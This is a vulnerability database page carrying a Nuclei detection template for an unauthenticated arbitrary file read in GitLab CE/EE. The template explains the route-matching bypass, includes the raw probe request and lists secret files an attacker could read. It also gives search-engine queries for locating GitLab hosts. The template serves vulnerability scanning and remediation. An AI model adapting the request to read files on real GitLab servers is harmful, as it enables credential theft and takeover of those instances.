GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read
| Reporter | Title | Published | Views | Family All 164 |
|---|---|---|---|---|
| Exploit for CVE-2026-85706 | 11 Sep 202616:18 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 13 Sep 202616:58 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 12 Sep 202610:43 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 11 Sep 202615:58 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 14 Sep 202604:05 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 11 Sep 202615:24 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 11 Sep 202621:26 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 12 Sep 202620:40 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 14 Sep 202609:08 | – | githubexploit | |
| Exploit for CVE-2026-85706 | 13 Sep 202614:28 | – | githubexploit |
10
id: CVE-2026-85706
info:
name: GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read
author: FLX
severity: critical
description: |
GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.
impact: |
Unauthenticated remote attackers can read any file accessible to the GitLab git user, including /etc/passwd, database credentials, secrets.yml, SSH private keys, and CI build artifacts, which in turn enables session forgery and full compromise of the instance. Exploitation requires at least one publicly readable project on the target.
remediation: |
Upgrade GitLab CE/EE to 19.1.8, 19.2.6, or 19.3.2 or later. The fix moves authenticate! ahead of file processing and stops accepting raw file.path and file.size parameters from untrusted clients.
reference:
- https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
- https://gitlab.com/gitlab-org/gitlab/-/commit/0ff7b6b2911723389f2271b10362591b0a69a166
- https://github.com/ynsmroztas/GitLabSniper
- https://github.com/mhtsec/CVE-2026-85706
- https://nvd.nist.gov/vuln/detail/CVE-2026-85706
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-85706
epss-score: 0.01164
epss-percentile: 0.65458
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: title="gitlab"
tags: cve,cve2026,gitlab,lfi,unauth,kev,vkev,vuln
http:
- raw:
- |
POST /api/v4/projects/1/repository/%66iles/{{randstr}}?file=&file.path=/cve-2026-85706-nuclei-probe&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: application/json, */*
matchers-condition: and
matchers:
- type: word
part: body
words:
- "local file not present"
- type: status
status:
- 400
# digest: 490a004630440220145deb82acd5241b1f1a27d68962faa352087b09f96c020ffe3124a8a3ff642302201a4a9b07da5e0d75b95a13e67505cde9885a05ebe300944ac46ae6d475e9f250:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Sep 2026 16:23Current
CVSS 3.110
EPSS0.11115
SSVC